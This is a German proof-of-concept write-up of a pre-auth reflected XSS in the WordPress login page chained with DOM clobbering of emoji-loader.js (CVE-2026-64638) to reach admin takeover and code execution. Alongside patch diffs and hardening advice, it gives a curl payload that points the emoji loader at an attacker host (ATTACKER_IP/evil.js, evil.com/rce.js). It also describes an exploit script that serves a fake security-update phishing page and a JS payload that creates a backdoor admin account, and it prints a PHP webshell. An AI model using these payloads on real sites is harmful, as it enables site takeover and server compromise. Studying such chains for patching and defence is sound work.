
Proof-of-Concept-Exploit für CVE-2026-64638: reflektiertes XSS im WordPress-Login, verkettet mit DOM Clobbering, zur Übernahme des Admin-Kontos und Remote-Code-Ausführung.
Software: WordPress Core ≤ 7.0.2 (alle Versionen vor 7.0.3)
CVSS: 8.9 (Hoch)
CWE: CWE-79 — Unsachgemäße Neutralisierung von Eingaben während der Webseitengenerierung
Erforderliche Authentifizierung: Keine (Pre-Auth)
Benutzerinteraktion: Aktiv (Admin muss 1 Link anklicken)
Auswirkung: XSS → Kontoübernahme → Remote Code Execution
WordPress ist das beliebteste Content-Management-System der Welt und macht über 40 % aller Websites im Internet aus. Jede WordPress-Site hat eine Login-Seite unter /wp-login.php — dies ist ein öffentlicher Endpunkt, den jeder ohne Authentifizierung aufrufen kann.
Wenn ein Benutzer einen falschen Benutzernamen eingibt, zeigt WordPress eine Fehlermeldung an, die genau den Benutzernamen enthält, den der Benutzer gerade eingegeben hat: „Der Benutzername X ist auf dieser Site nicht registriert.“ Das Problem liegt darin, dass der Benutzerwert direkt in die HTML-Antwort eingefügt wird, ohne eine Escape-Funktion zu durchlaufen — ein Angreifer muss lediglich HTML/JavaScript anstelle eines echten Benutzernamens eingeben, und der Code wird im Browser ausgeführt.
Dies ist ein Reflected-XSS-Fehler — das Payload ist in der Anfrage enthalten und wird vom Server unverändert im HTML zurückgespiegelt. Gefährlich macht ihn, dass der Fehler auf der Login-Seite liegt — einem Ort, der häufig von Admins aufgerufen wird und an dem Admin-Session-Cookies gestohlen werden können.
Das Forschungsteam entdeckte außerdem, dass dieses XSS mit einer DOM-Clobbering-Schwachstelle im emoji-loader von WordPress verkettet werden kann, sodass JavaScript von einem externen Server geladen werden kann. Von dort aus kann ein Angreifer ein neues Admin-Konto erstellen → ein Plugin mit einer Webshell installieren → PHP-Code auf dem Server ausführen. Diese Exploit-Kette wird als XSS2Shell bezeichnet.
WordPress lädt auf jeder Seite (einschließlich der Login-Seite) Emoji-Unterstützung über die Datei emoji-loader.js. Dieses Skript liest die Konfiguration aus einem Element mit id="wp-emoji-settings":
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() gibt das erste Element im DOM mit passender ID zurück. Wenn ein Angreifer ein <div id="wp-emoji-settings"> vor dem ursprünglichen Skript-Tag einfügt, liest getElementById den Inhalt des Angreifers anstelle der echten Konfiguration. Diese Technik wird DOM Clobbering genannt — das Überschreiben des JavaScript-Verhaltens durch das Injizieren von HTML-Elementen.
Die Emoji-Konfiguration enthält eine URL zum Laden einer JavaScript-Datei (concatemoji). Der Angreifer kontrolliert diese URL → lädt eine JS-Datei von einem externen Server → führt innerhalb des Browser-Kontexts beliebigen Code aus.
Sobald die JavaScript-Ausführung im Admin-Kontext erreicht ist, verfügt der Angreifer über volle WordPress-Admin-Rechte:
/wp-admin/user-new.php mit der Admin-Session aufrufen/wp-admin/plugin-install.php hochladenJede der 3 oben genannten Methoden ermöglicht die Ausführung von PHP-Code auf dem Server — also RCE.
Aus dem Fix-Commit 0d6d42e auf wordpress-develop habe ich 3 Stellen in der Datei wp-includes/user.php identifiziert, an denen der Benutzername/die E-Mail direkt in die Fehlermeldung eingefügt wird:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
Stelle 1 — Zeile 189 (Benutzername existiert nicht):
Vorher :
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

Nachher :
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
Stelle 2 — Zeile 216 (falsches Passwort):
Vorher :

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
Nachher :
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
Stelle 3 — Zeile 299 (falsches Passwort für E-Mail):
Vorher :

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
Nachher :
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
Datenfluss von der POST-Anfrage bis zur Fehlermeldung:
$_POST['log'] ← Benutzereingabe aus dem Login-Formular
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← entfernt nur Backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← entfernt HTML-Tags, hat aber einen Bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← Benutzer nicht gefunden
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filtert HTML, lässt aber <div>, <a>, durch
↓
HTML-Antwort → Browser-Rendering → JavaScript-Ausführung
WordPress hat 2 Filterebenen, bevor der Benutzername das HTML erreicht:
Ebene 1: sanitize_user() — Ruft strip_tags() auf, um HTML-Tags zu entfernen. Allerdings hat PHP's strip_tags() bekannte Einschränkungen: nicht standardkonforme Tag-Formatierung kann den Filter umgehen.
Ebene 2: wp_kses_post() — Lässt eine sichere Teilmenge von HTML durch, einschließlich <div>, <a>, `` mit bestimmten Attributen (entfernt aber Event-Handler wie onerror, onload). Entscheidend: wp_kses_post erlaubt <div id="wp-emoji-settings"> — genau das Element, das für DOM Clobbering benötigt wird.
Das pwn.ai-Team fand einen Weg, beide Ebenen zu umgehen, um ein nutzbares Payload zu injizieren. Spezifische technische Details wurden nicht öffentlich veröffentlicht.
Um visuell zu bestätigen, dass der Benutzername ohne Escaping direkt ins HTML gelangt, habe ich Xdebug + VS Code verwendet, um Haltepunkte an Schlüsselstellen der Ausführungskette zu setzen.
Schritt 1 — XSS-Payload in das Login-Formular eingeben:
Rufe http://localhost:8282/wp-login.php auf, gib als Benutzernamen `` ein und klicke dann auf „Anmelden“. Ein Alert-Popup erscheint — XSS funktioniert.


Schritt 2 — Haltepunkt bei user.php:184 — Wo XSS auftritt:
Setze einen Haltepunkt bei return new WP_Error(...) innerhalb der Funktion wp_authenticate_username_password(). Wenn der Debugger anhält, beobachte:
$username = "" — intaktes HTML-Payload, nicht escaped$_POST: log = "" — bestätigt, dass das Payload aus der Formulareingabe stammtwp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
Der Wert $username gelangt von $_POST['log'] → wp_unslash() → (umgeht sanitize_user) → sprintf() in die Fehlermeldung in den Zeilen 186–189 — dazwischen kein esc_html(). Im Labor wurde sanitize_user() auskommentiert, um den von pwn.ai entdeckten Bypass zu simulieren.
Schritt 3 — Haltepunkt bei functions.php:9200 — Endgültige Ausgabe:
Setze einen Haltepunkt bei echo wp_get_admin_notice( $message, $args ) — dies ist die letzte Zeile, bevor HTML an den Browser ausgegeben wird:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — das Payload befindet sich unversehrt innerhalb der HTML-Fehlermeldungwp_kses_post() umschlossen (herausgepatcht, um den Bypass zu simulieren), sodass das Payload direkt an den Browser geht
Im ursprünglichen WordPress lautet diese Zeile echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() entfernt das onerror-Attribut, lässt aber <div id="wp-emoji-settings"> durch, weil <div> in der Whitelist steht. Dies ist der exakte Vektor für den DOM-Clobbering-Angriff.
Commit a12c8f5 modifiziert emoji-loader.js, um DOM Clobbering zu blockieren:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
Der Fix ändert 3 Dinge:
querySelector('script#...') anstelle von getElementById — matcht nur <script>-Tagsinstanceof HTMLScriptElement — verhindert DOM Clobbering über <div> oder ``.text anstelle von .textContent — .text ist eine spezifische Eigenschaft von HTMLScriptElementNach dem Fix ignoriert emoji-loader ein injiziertes <div id="wp-emoji-settings">, selbst wenn ein Angreifer es einschleusen kann, da es kein <script>-Element ist.
┌─────────────────────────────────────────────────────────────────┐
│ ANGREIFER │
│ Erstellt Phishing-Link mit XSS-Payload │
│ POST /wp-login.php mit log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sendet Link an Admin (E-Mail, Chat usw.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN KLICKT LINK │
│ Browser sendet POST an /wp-login.php → Server spiegelt │
│ Payload → <div id="wp-emoji-settings"> erscheint im HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js wird ausgeführt
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → liefert Angreifer-div │
│ JSON.parse(div.textContent) → liest gefälschte Konfiguration │
│ Lädt Skript von https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS wird im Admin-Kontext ausgeführt
▼
┌─────────────────────────────────────────────────────────────────┐
│ KONTOÜBERNAHME + RCE │
│ 1. /wp-admin/user-new.php abrufen → Nonce erhalten │
│ 2. POST: Neues Admin-Konto erstellen (Hintertür) │
│ 3. Mit Hintertür-Konto anmelden │
│ 4. Plugin mit PHP-Webshell installieren │
│ 5. Webshell aufrufen → RCE auf dem Server │
└─────────────────────────────────────────────────────────────────┘
Rufe http://localhost:8282/wp-login.php auf und gib Folgendes ein:
Klicke auf „Anmelden“. Wenn ein Alert-Popup mit „localhost“ erscheint → funktioniert XSS.
Ergebnis — Payload wird unversehrt im HTML zurückgespiegelt:

Komplexeres Payload — injiziere ein <div> mit id="wp-emoji-settings", das JSON enthält, das auf die JS-Datei des Angreifers verweist:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
Wenn die HTML-Ausgabe <div id="wp-emoji-settings"> mit dem JSON des Angreifers enthält → lädt emoji-loader das JS vom Server des Angreifers.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
Das Skript exploit.py stellt 2 Dinge bereit:
http://127.0.0.1:9999/phish.html — Phishing-Seite, die ein WordPress-Sicherheitsupdate vortäuschthttp://127.0.0.1:9999/evil.js — JS-Payload, das ein Admin-Hintertür-Konto erstelltDer Angreifer sendet dem Admin den Link http://127.0.0.1:9999/phish.html per E-Mail/Chat. Wenn der Admin klickt:
/wp-login.php mit einem Benutzernamen, der das XSS-Payload enthält<div id="wp-emoji-settings"> erscheint im HTMLemoji-loader.js liest das gefälschte div → lädt evil.js vom Server des Angreifersevil.js läuft im Admin-Browser → ruft /wp-admin/user-new.php ab, um die Nonce zu erhalten → erstellt das Konto backdoor_xss2shell / Pwn3d!XSS2Shell
Der gesamte Prozess läuft automatisch ab; der Admin sieht nur die normale Login-Seite mit der Fehlermeldung „Benutzername nicht gefunden“.
Im Labor war der Admin bereits mit admin / admin123 angemeldet, sodass evil.js sofort ausgeführt wurde. Nachdem ich Zugriff auf das Konto erhalten hatte, lud ich sofort eine Webshell über ein Plugin hoch:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


Die Ausgabe gab www-data zurück — der Angreifer besitzt nun Befehlsausführungsrechte auf dem Server.
/wp-login.php ist immer öffentlich und kann nicht versteckt werden (außer durch Plugins, die die Login-URL ändern)HttpOnly nicht korrekt gesetzt ist) oder das Phishing von AnmeldedatenFix 1 — Ausgabe escapen (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
Fix 2 — emoji-loader härten (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
Fix 3 — URL escapen (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
/wp-login.php mit HTML-Payload im log-Parameter suchensanitize_user() ist dazu gedacht, Benutzernamen zu normalisieren, nicht XSS zu verhindern. Defense-in-Depth: Das Escaping am Ausgabepunkt (esc_html, esc_attr, esc_url) ist die letzte und kritischste Verteidigungsebene.getElementById nicht für sicherheitskritische Daten verwenden. DOM Clobbering kann ein gefälschtes Element mit derselben ID injizieren. querySelector mit spezifischem Tag-Namen + instanceof-Prüfung verwenden.wp_kses_post ist kein XSS-Filter. Es ist dazu gedacht, sicheres HTML in Beitragsinhalten zu erlauben — nicht, um XSS in anderen Kontexten zu blockieren. Jeder Kontext erfordert seine eigene Escape-Funktion.| Attribut | Wert |
|---|
| CVE-ID | CVE-2026-64638 |
| CVSS-Score | 8.9 (Hoch) |
| Software | WordPress Core ≤ 7.0.2 |
| Authentifizierung | Keine erforderlich (Pre-Auth) |
| Benutzerinteraktion | Erfordert 1 Klick (Admin klickt Link) |
| Angriffskomplexität | Hoch |
| Gepatcht | WordPress 7.0.3 (08/06/2026) |
| Reporter | pwn.ai-Team über HackerOne |
| HackerOne-Bericht | #3877102 |
| CVSS-Metrik | Wert | Begründung |
|---|
| Angriffsvektor | Netzwerk | Über HTTP, indem ein Link an das Opfer gesendet wird |
| Angriffskomplexität | Hoch | Erfordert Bypass von sanitize_user() + wp_kses_post(), erfordert Klick des Opfers |
| Erforderliche Rechte | Keine | Login-Endpunkt erfordert keine Authentifizierung |
| Benutzerinteraktion | Aktiv | Admin muss den Phishing-Link anklicken |
| Vertraulichkeit | Hoch | Cookies, Session und Admin-Panel-Inhalte lesen |
| Integrität | Hoch | Admin-Konto erstellen, Plugin installieren, Dateien ändern |
| Verfügbarkeit | Hoch | RCE → vollständige Serverkontrolle |